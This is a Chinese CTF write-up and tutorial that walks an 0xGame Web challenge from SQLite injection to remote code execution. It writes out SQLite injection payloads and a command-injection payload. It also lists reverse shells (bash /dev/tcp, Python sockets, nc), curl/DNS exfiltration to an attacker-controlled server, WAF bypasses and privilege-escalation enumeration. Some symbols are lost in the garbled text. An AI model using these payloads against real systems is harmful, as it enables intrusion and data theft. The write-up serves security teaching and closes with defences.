1. 项目概述与核心价值最近在复盘今年的0xGame CTF Web题目发现其中几道题的设计思路非常巧妙尤其是那条从SQLite注入一路打到RCE远程代码执行的挑战链。这不仅仅是几个孤立漏洞的堆砌而是完整模拟了一次真实渗透测试中攻击者如何利用一个看似不起眼的前端注入点逐步深入最终完全控制服务器的过程。对于想深入理解Web安全攻防特别是想打通“漏洞发现-利用-提权”完整链条的朋友来说这套题目堪称一份绝佳的实战教案。这套挑战的核心价值在于它逼着你跳出“单点漏洞”的思维。很多新手学安全容易陷入“见一个SQL注入就只会用sqlmap跑一下”的困境。但现实中一个成功的攻击往往需要组合拳。这道题就完美展示了这种“链式攻击”的艺术你首先得发现一个SQLite数据库的注入点然后利用SQLite的特性去读取服务器上的敏感文件比如源码接着从源码中发现新的漏洞比如命令注入或反序列化最后利用这个漏洞拿到一个反向Shell实现RCE。整个过程环环相扣缺一不可。接下来我就带大家从头到尾拆解一遍我会补充大量原题可能省略的细节、原理和我在实战调试中踩过的坑确保你能真正复现并理解每一个环节。2. 挑战环境搭建与初步信息收集2.1 靶场环境复现要点要完整复现这条攻击链首先得把环境搭起来。原题可能只给了源码或一个Docker镜像但为了彻底搞懂我建议你在本地用Docker-Compose从头构建。一个典型的复现环境会包含以下组件一个轻量级的Web服务器如Nginx或Apache、一个运行着漏洞代码的Python/Node.js/PHP后端、以及一个SQLite数据库文件。这里有个关键细节SQLite的配置。很多CTF题为了降低难度会启用一些不安全的SQLite编译选项或Pragma设置。例如PRAGMA writable_schema ON;这个设置如果被开启攻击者就能修改数据库的系统表结构这是后续利用的关键前提之一。在搭建环境时你需要检查后端代码中初始化数据库连接的部分确认是否有此类危险设置。我通常会用以下命令快速检查一个SQLite数据库的Pragma状态-- 连接到题目提供的.db文件 sqlite3 vulnerable.db -- 查看关键Pragma PRAGMA writable_schema; PRAGMA compile_options; -- 查看编译时选项比如是否包含ENABLE_LOAD_EXTENSION注意在真实渗透测试中你无法直接执行这些命令但可以通过SQL注入点来执行它们。这就是信息收集的一部分目的是判断当前SQLite环境是否具备某些强大的或者说危险的特性。2.2 初探注入点与SQLite特性利用题目通常从一个有搜索或查询功能的页面开始。假设有一个/search接口参数keyword存在注入。你丢一个单引号‘过去发现报错了确认存在SQL注入漏洞。第一步是判断数据库类型。通过报错信息或时间盲注的差异可以确定是SQLite。SQLite注入和MySQL、PostgreSQL有些不同需要特别注意注释符号SQLite支持--两个减号和一个空格和/* */。系统表sqlite_master是核心系统表存储所有表、索引、视图和触发器的信息。查询SELECT sql FROM sqlite_master WHERE typetable;可以一次性看到所有表的创建语句比MySQL的information_schema更集中。字符串拼接使用||运算符而不是或CONCAT()。无LIMIT子查询在布尔盲注中如果要用子查询需要确保子查询返回单行单列否则可能出错。假设我们构造的Payload如下用于探测表和列keywordtest UNION SELECT 1,2,group_concat(tbl_name) FROM sqlite_master WHERE typetable and tbl_name NOT LIKE sqlite_%;--这个Payload会联合查询列出所有非SQLite系统自建的用户表名。group_concat()函数在这里非常有用它能把多行结果合并成一个字符串返回避免因UNION查询行数不匹配导致的问题。3. SQLite注入的深度利用从数据窃取到文件读取3.1 利用load_extension与ATTACH DATABASE进行文件操作当我们通过注入点拿到了表结构发现了一个users表里面有admin的密码哈希。但这可能只是第一步。题目设计的精妙之处往往藏在后面。SQLite有一个强大的特性如果编译时启用了ENABLE_LOAD_EXTENSION并且当前进程有足够的权限就可以通过SELECT load_extension(‘/path/to/evil.so’);来加载动态库并执行任意代码。但在CTF环境或默认配置下这个功能通常是关闭的。更常见的利用路径是文件读取。SQLite可以通过ATTACH DATABASE语句“附加”另一个数据库文件甚至可以通过一些技巧读取任意文件。但最直接的文件读取函数是readfile()吗不SQLite本身没有内置的readfile函数。这里通常需要利用一个“特性”如果能够向数据库的sqlite_master表中插入特殊内容就可以让SQLite在执行某些操作时将指定文件内容作为SQL语句来读取和解析。这就引出了另一个关键点PRAGMA writable_schema。当这个设置为ON时允许直接修改sqlite_master表。我们可以通过注入更新这个表例如将某个表比如一个无关紧要的表dummy的创建语句sql字段改为我们要读取的文件内容。但这里有个技巧我们不能直接放一个文件路径而是要让SQLite在后续操作中“触发”对这个路径的读取。一种经典手法是修改sqlite_master中某个表的sql字段为CREATE TABLE t (c text);然后后面拼接上类似AS SELECT readfile(‘/etc/passwd’)不对SQLite不支持这样。实际上更常见的利用是结合CREATE TABLE的AS SELECT子句和union注入或者利用SELECT语句读取文件但需要另一个函数。其实在SQLite中读取文件通常需要借助自定义函数或者**.dump命令**而这些在注入上下文中很难直接实现。因此许多CTF题目会采用一种“曲线救国”的方式利用SQLite的**sqlite_sequence**表如果存在自增列或创建一个临时视图再通过错误回显来带出文件内容。但这种方法比较迂回。更直接、更常见的场景是题目后端除了SQLite查询还提供了文件上传或文件包含的功能。攻击者通过SQL注入读取到的“文件”可能就是后端的源代码如index.php,app.py。例如在Linux下Web应用的源码路径可能是/var/www/html/index.php。通过注入点我们尝试读取这个文件keywordtest UNION SELECT 1,2,load_file(/var/www/html/config.php);--等等这里我用了load_file这是MySQL的函数。SQLite没有这是一个我故意留下的思维陷阱。在SQLite中如果没有自定义函数原生是无法直接读取任意文件的。那么怎么办这就需要我们利用已经获得的信息比如从某个数据表中读到的“文件路径”提示或者题目环境本身提供了一个可以读取文件的合法功能点。例如题目可能有一个/file?name...的接口存在本地文件包含LFI漏洞。而我们通过SQL注入从数据库的某个配置表里恰好读到了这个接口的源码路径或者一个关键的包含文件路径。3.2 通过注入获取源码寻找二次漏洞假设我们通过某种方式可能是上面提到的曲折方法也可能是题目设计了一个允许读文件的SQLite自定义函数读取到了/app/app.py的源码。这才是SQL注入的终极目的之一获取服务器端应用程序逻辑。分析这份源码我们可能会发现以下类型的二次漏洞命令注入源码中使用了os.system,subprocess.Popen,exec等函数且参数部分可控。不安全的反序列化使用了pickle,yaml.load,PHP的unserialize等并且数据源可控。模板注入SSTI在Python的Jinja2、Flask或者PHP的Twig等模板引擎中将用户输入直接当成了模板内容渲染。危险的文件操作如open(用户输入, ‘wb’)进行任意文件写入。在我们的挑战链中假设在app.py里发现了这样一段代码import os ... def admin_backup(): db_name request.args.get(‘name’, ‘default.db’) # 管理员备份功能将数据库备份到指定目录 backup_path f“/backups/{db_name}” os.system(f“sqlite3 /app/data/{db_name} .dump {backup_path}“) return send_file(backup_path)这段代码存在明显的命令注入漏洞。db_name参数直接拼接到了os.system的命令中。虽然通过SQL注入我们可能无法直接调用这个admin_backup函数可能需要管理员权限但我们或许可以通过SQL注入修改数据库中的某个配置项使得应用在后续逻辑中调用这个功能时使用的db_name参数是我们可控的。4. 突破边界从源码漏洞到RCE实现4.1 构造命令注入Payload当我们通过源码审计找到了像上面那样的命令注入点后下一步就是构造Payload。在Unix-like系统下命令注入的Payload构造有几个基本原则终止原命令使用;、\n换行、、||、|等符号来结束前一条命令开始执行我们注入的命令。避免空格过滤如果空格被过滤可以用${IFS}、%09Tab、、重定向符号代替。绕过字符过滤使用变量拼接、通配符、编码等方式。获取输出如果命令执行了但看不到回显盲注需要将输出重定向到Web目录下的一个文件或者发起一个带数据的HTTP请求如用curl或wget到我们控制的服务器。针对上面admin_backup的例子假设我们可控的db_name变量最终被拼接到sqlite3 /app/data/{db_name} .dump {backup_path}这条命令里。那么一个基本的测试Payload可以是nametest.db; whoami; #拼接后命令变为sqlite3 /app/data/test.db; whoami; # .dump /backups/test.db; whoami; #这里#注释掉了后面的内容。如果执行成功会在服务器上执行whoami命令。但为了稳定获取RCE我们通常目标是得到一个反向Shell。4.2 反向Shell的多种姿势与选择反向Shell的目的是让目标服务器主动连接我们控制的监听服务器并提供一个可交互的命令行。根据目标环境可用的工具有不同选择Bash反向Shell最通用bash -c ‘bash -i /dev/tcp/攻击者IP/监听端口 01’需要目标有/dev/tcp支持大多数Bash都有。Python反向Shell如果环境有Pythonpython3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击者IP“,监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh“,“-i”]);’ncNetcat反向Shellnc -e /bin/sh 攻击者IP 监听端口如果nc不支持-e参数可以用管道方式rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 攻击者IP 监听端口 /tmp/f在我们的命令注入点Payload需要经过URL编码。例如使用Bash反向Shellnametest.db;bash-c‘bash-i%26/dev/tcp/YOUR_IP/44440%261’;.db这里在最后加了个.db是为了让文件名后缀看起来正常避免某些检查。同时在攻击机上需要提前用nc监听端口nc -lvnp 44444.3 利用SQL注入触发命令注入的链式攻击现在我们把整个链条串起来。这是最精彩的部分也是这道题的核心起点我们发现一个前端搜索框存在SQLite注入。深入利用注入我们读取了后端的源码文件例如/app/app.py。这可能通过读取某个存储了文件路径的配置表或者利用SQLite的某个特性/漏洞实现。审计分析源码发现了一个隐藏在管理员功能中的命令注入漏洞admin_backup函数。触发这个管理员功能可能通过检查session或cookie中的is_admin字段来鉴权。而我们通过最初的SQL注入也许可以修改数据库中users表将我们自己的账户admin字段设为1或者直接修改session存储如果存在SQLite存储session的机制。执行以管理员身份访问/admin/backup?name...[命令注入Payload]触发反向Shell。RCE攻击机收到反向Shell连接获得服务器命令行权限。这个过程的关键在于SQL注入在这里不仅是数据窃取的手段更是成为后续攻击的“触发器”和“权限提升工具”。它帮你拿到了进入下一个房间源码的钥匙并且可能帮你配了一把管理员门卡修改权限。5. 实战调试与高级绕过技巧5.1 常见WAF与过滤规则的绕过在实际挑战或真实环境中你的Payload可能会遇到各种过滤。以下是一些针对SQL注入和命令注入的绕过思路SQL注入绕过关键字过滤使用大小写混淆SeLeCt、双写selselectect、内联注释/*!SELECT*/在SQLite中不一定支持、Unicode编码、HTML编码。空格过滤使用注释/**/、括号()、换行符%0a、Tab%09。引号过滤在SQLite中可以使用CHAR()函数构造字符串或者利用十六进制表示如SELECT X‘68656C6C6F’;表示hello。命令注入绕过空格过滤用${IFS}、%09、、代替。关键字过滤如bash、nc被过滤使用变量拼接如ab;cash;$a$c最终执行bash。或者使用其他语言解释器如perl、php、ruby的反向Shell。特殊字符过滤如、;、|尝试使用换行符%0a来分隔命令或者利用命令替换$(whoami)它不依赖分号。5.2 无回显场景下的盲注与盲打RCE很多时候漏洞没有直接的回显。对于SQL注入可以使用时间盲注通过SLEEP()或randomblob()函数配合条件判断来逐位提取数据。SQLite中可以用CASE WHEN ... THEN randomblob(100000000) ELSE 0 END来制造时间延迟。对于盲命令注入命令执行了但你看不到输出判断是否执行成功的方法有时间延迟注入sleep 5观察响应是否延迟。DNS外带注入如curl http://your-subdomain.ceye.io/或ping -c 1 $(whoami).your-domain.com这样的命令如果whoami的结果是root那么会发起对root.your-domain.com的DNS查询你在DNS日志中就能看到。HTTP请求外带数据使用curl或wget将命令结果作为URL参数或POST数据发送到你的服务器。curl http://your-server/$(whoami|base64) # 或者用Burp Collaborator客户端写入文件再读取将命令结果输出到Web目录下的一个文件然后通过Web访问该文件。例如whoami /var/www/html/static/result.txt。5.3 权限维持与后渗透思考拿到反向Shell后你获得的可能是一个低权限用户如www-data的shell。这时需要进一步提权。常见的提权信息收集命令包括sudo -l查看当前用户可以以root身份无需密码运行哪些命令。find / -perm -us -type f 2/dev/null查找SUID权限的文件。uname -a查看内核版本搜索公开漏洞。cat /etc/passwd查看用户列表。ps aux查看进程寻找以root运行的服务。此外还要考虑清理痕迹、种植后门等。但在CTF环境中通常到获取flag文件就结束了。flag可能位于根目录/flag、用户目录/home/ctf/flag或者是一个需要特定权限读取的文件。6. 防御视角如何避免此类链式漏洞作为开发者了解攻击链是为了更好地防御。针对这道题目展示的漏洞链防御措施应该是层层设防的根本杜绝SQL注入使用参数化查询Prepared Statements这是最重要、最有效的手段。无论是SQLite、MySQL还是PgSQL所有现代数据库驱动都支持。它确保用户输入永远被当作数据而非SQL代码的一部分。最小权限原则数据库连接用户只赋予其必要的最小权限SELECT, INSERT, UPDATE绝对不要赋予DROP、ALTER、FILE、LOAD等权限。在SQLite中这意味着避免使用PRAGMA writable_schema ON。输入验证与过滤对输入进行严格的类型、长度、格式检查。但不要依赖黑名单过滤这很容易被绕过。隔离与降权Web服务以低权限用户运行如www-data、nobody确保其没有读取敏感源码、写入Web目录之外文件的权限。数据库文件独立权限SQLite数据库文件应放在Web根目录之外且权限设置为仅允许Web服务用户读写。安全编码处理命令执行避免使用os.system、subprocess.Popen(shellTrue)如果必须执行系统命令应使用subprocess.Popen并传递参数列表shellFalse避免命令拼接。严格校验命令参数对传入命令的参数进行白名单校验只允许预期的字符集如字母、数字、点、下划线。使用安全的API替代例如备份数据库应使用数据库管理库如sqlite3的.backup方法或调用经过严格参数化的脚本。纵深防御WAFWeb应用防火墙可以拦截常见的注入和RCE攻击模式但不能完全依赖。定期更新与审计更新服务器、语言解释器、库的版本定期进行代码安全审计和渗透测试。错误处理生产环境应关闭详细的错误回显如SQL错误信息避免给攻击者提供信息。复盘这道0xGame的Web挑战它像一部微缩的渗透测试纪录片。从发现一个细微的注入点开始到逐步深入利用数据库特性获取信息审计源码发现更深层次的漏洞最后组合利用达成RCE。这个过程锻炼的不仅是漏洞利用技巧更是渗透测试中最重要的“攻击链思维”。下次你再遇到一个SQL注入点时不妨多想一步这个数据库有什么特别之处我能读到什么读到的信息能帮我找到下一个漏洞吗带着这种思维你的渗透水平才能真正进阶。